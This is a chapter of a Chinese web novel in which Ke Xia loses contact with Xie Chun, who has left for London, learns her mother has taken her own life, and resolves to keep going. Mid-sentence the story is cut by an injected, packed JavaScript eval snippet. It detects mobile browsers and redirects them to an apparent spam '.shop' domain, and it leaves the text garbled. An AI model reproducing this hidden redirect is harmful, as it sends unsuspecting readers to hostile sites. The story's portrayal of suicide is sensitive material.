柯夏正低头打开饭盒,闻声手上动作微微一顿,轻轻吐出一个“嗯”,“他跟你说话了?”
陈最语挣扎着坐起来,摸索到了女儿的手。
“你找他去吧。”她摇头道:“小谢,情况不太好。”
“妈,我先陪你吃饭吧。”
“妈不需要。”陈最语开始搡她:“你快去找吧。”
陈最语搡她的力气越来越大,柯夏不得已站起来,背过身去。回头看了陈最语两眼,她一咬牙,飞速跑出医院,上了公交。
她先去了金田巷他的家,东西都放得好好的,课本还散落在桌上,人不见。便又去了村委的猫窝,只有被他照顾得浑身泛金光的小猫正在玩球。柯夏心里微乱,隐隐的有些猜测,但她不想往这方面想。
她又想到了个地方,打面馆。虽然明知没有,但她想碰碰运气。刚一抬脚,手机却在裤子口袋里震动起来,她被迫停下脚步,接起电话。
“喂,哥。”她混乱地喘着气。
王薄沉默了会儿,缓缓地说:“你在找谢纯吧。”
“嗯。”柯夏平复了下呼吸,抬眼四处扫:“不说了,哥,我还得去……”
“不用找了。”
王薄先打断她,立刻又道:“他跟任昌海斗输了。”
柯夏怔在冷风里。
“他刚刚问我要一笔封氏跟谢氏的陈年旧账,用来跟任昌海打最后的擂台。我知道他心思,他想打信息差胁迫任昌海停止打你们的主意,那笔账很重要,按说是不会输的,但他输了。任昌海那儿把这件事捂得很死,我只帮你打听到他要去伦敦,不知道是什么时候。”
说到这儿,他徐徐地一顿,似乎连他也有些不忍心说下去。半晌,才重新启唇:“只是你们,大概率不会再见了。”
柯夏只感觉一句话像一把横飞过来的尖刀,深深插进她的喉管。
血腥味和无力感一同翻涌上了舌根。
半晌,她哑声答:“我知道了。”就挂断了电话。
电话截断的嘟嘟声后,是涨潮般漫上来的窒息感。幸而在窒息到深处时,忽而来了阵阵轻风,一茬儿接一茬儿的,缓缓地拂动她脸颊上的绒毛。
恋恋不舍地在她的脸颊徘徊数秒后,又飞蛾扑火般涌入她的唇内。
化作火种,化作氧气,进入她的心脏,延续着搏动。
因而柯夏只感觉到了一瞬的眼前翻黑,身体摇晃了一瞬,便重新站住。
去学校吧,她忽然想。他为了考进二班费了那么大劲,万一他会去呢?
柯夏凭着这个念想熬了一整个夜晚。直到返校的那个下午,她被人潮涌动着挤向校园每个角落,也还是没有见到一点点关于他的痕迹。
就连二班新生座位表,也没有“谢纯”这两个字。
她又跑去集英医院,坐在窗边,就在他们第一次重逢的地点。
从白天坐到晚上,身上阵阵泛冷,医院消毒水的气味顺着血液走遍了全身,她才终于意识到——
王薄没骗过她,从来没有。
……
念头在脑海里产生的同时,她的胸口被一个巨大的气团哽住,愤怒、无力、悲伤……所有曾经被希望压制的痛苦瞬间解封,尖叫着咬住她的心脏。
她用力地抽泣。
几个护士上来问她怎么了,她不住地摇头,于是渐渐的没人管她了。她坐在医院,一直哭到了晚上,闭寝铃响时。
寝室没有人,她在外不归本来没人发现,但值班的喜欢她,硬是叫上几个老师把她找了回来。
柯夏不知道自己怎么回到寝室的。夜半稍冷的空气入体的时候,她才缓缓地惊醒过来,手机在一旁幽幽地亮着蓝光,显示凌晨三点。
明知塔。
柯夏忽然想起这个东西。
明知塔是集英在人工湖旁边建造的一个建筑。飞檐斗角,跟文曲星遥相呼应。学生想要登上去,要经过“山长水阔”的步梯,很吃力。
明知塔上空,经常有国际机场的航班掠过。塔顶可以听见轻微的飞机引擎呼啸声。
她动了下手指,下载了航班查询软件,查到最近的伦敦航班是凌晨四点半。
柯夏揉了揉剧痛的头,从床上爬了起来。
在明知塔顶层,她听到了来自那个航班的呼啸声。柯夏从塔顶探出头,攀爬夺走的气息仍在往肺里倒,心跳快得分不清是因为累还是激动。
她看到它了。
飞过的机身闪烁着星星一般的光芒。
在它即将飞离视野的刹那,柯夏用力地向它挥了挥手。
……
高二的作息比高一苛刻很多,六点不到,教室里已经稀稀拉拉有人。程鹿露走后,柯夏的新同桌是个反应有点迟缓的女生,早读持续了十几分钟,她才意识到旁边好像一直没声儿。
她一扭头,见柯夏环抱着双臂,脸颊通红,紧紧闭着眼。
“哎,柯夏。”她摇了摇柯夏:“你没事儿吧?”
感受到摇晃,柯夏才勉力把自己支撑起来,望着对面的人,茫然摇了摇头。
“你……”女生再迟钝,也看出来她脸色不对了,“你等会儿,我给你叫老师去。”
没过一会儿,张美兰就来了。伸手往柯夏头上一摸,“哎呀”一声:“好烫!正好,金田巷那边来短信,说让你打个电话回去,你看你回去还是在国际部医院?都行。”
柯夏站起来往外走。
她完全没能思考张美兰的话,只听到有人说金田巷有人让她打个电话。
她想听到亲近的人的声音。
在身边的人一个又一个离开的现在,她想听听熟悉的声音。
柯夏昏昏沉沉地走到了公用电话区,僵着手指,一个一个按键摁下王琴英的电话:“喂,王阿姨。”
“喂,悄悄。”王琴英的声音听上去有些犹豫。
柯夏察觉到,勉力提起精神:“阿姨,怎么了?”
“悄悄,有件事瞒不了你,你可千万别难受太过。”
“什么?”
“你妈妈……”
“我妈怎么了?”
“她走了。”王琴英艰难地吐出几个字,声音发涩:“她留了几句话。让你不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17236569|196091||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
要伤心,她不想那样活着,是自己走的。还有,悄悄啊,你妈希望你能轻装上阵,去做自己想做的事……悄悄?”
“……我知道了,谢谢阿姨。”
她感到自己出奇的冷静。
又聊了几句,王琴英让她不要回去,好好念书,她答应了。她也没跟王琴英说自己感冒的事,就在学校里吊个水吧,她想。
挂断电话一转身。
她眼前一黑,晕了过去。
晕过去之前,只来得及看清天旋地转的空间里,好多好多人,朝她涌了过来。
或成熟的,或青涩的脸。
形形色色,交叠在一起。
可为什么,没有一张与她有关。
柯夏沉重地闭上了眼睛。
……
她在集英医院醒来。
意识迟钝地漫上来,却格外的清醒。
门外是张美兰的声音,她在懊悔,“早知道是这么个消息,我就不让她去电话了……唉,这可怎么是好。”
柯夏望着天花板,漆白的颜色映出她的瞳深,也是白茫茫的一片。
这样漫无目的地盯了一会儿,手机铃响划破了寂静。柯夏伸手摸索过去,摸到冰凉的温度,贴上耳廓:“喂。”
她没看是谁,听到声音才反应过来是沈昭。
“喂。”沈昭叹了声:“张老师没办法了,找我问该怎么办,我都知道了。”
“嗯。”
两端沉默了会儿。柯夏猜沈昭在纠结是否该安慰。但沈昭果然明白她,没有提,而是直截了当地走向终点:“我找王薄商量了个办法,要听吗?”
“办法?”
“嗯。”沈昭道:“你要实在难受,就去找谢纯吧。我和你哥合力,把你送到伦敦、谢纯的身边,让任昌海动不了你,不是问题。”
柯夏有点意外。
吃惊于……这个办法是他们两个,为她想出来的。他们为她考虑到了这儿?
老实说,她确实有过这样的想法。就像阴暗的角落总会滋生一些红杆白伞,那样的美丽诱人。她从那天开始想明白,死亡是一种诱惑。
时至今日,她也终于恍然大悟那天丁晴说的话。
“……”发怔了几秒,柯夏缓缓地笑出了声。
“昭昭,谢谢你,也谢谢我哥。”她声音淡淡:“只是,你们都明白,如果我这么做,就不是我了。”
“如果想要什么东西,全凭冲动去争取,最终只会把自己逼向绝境……我要的是未来。”
沈昭有些激动:“太好了,我真的怕你再也想不通……不过没关系,就算你想不通,我也可以纵着你。”
柯夏扯了扯嘴角,眼泪从冷静的脸上,断了线般往下掉。
多讽刺啊,其实她的脑海里仍然有无数个声音在尖叫,就走到这里就可以了,难道你不想抱着现在的美梦睡过去?可无数的嘶吼下面,是一道无比清晰的声音,告诉她,现在就停下脚步的话,妈妈的离开、他的离开、哥哥和好友的努力,就全都白费了。
背着这些走下去,她不知道结局会不会好。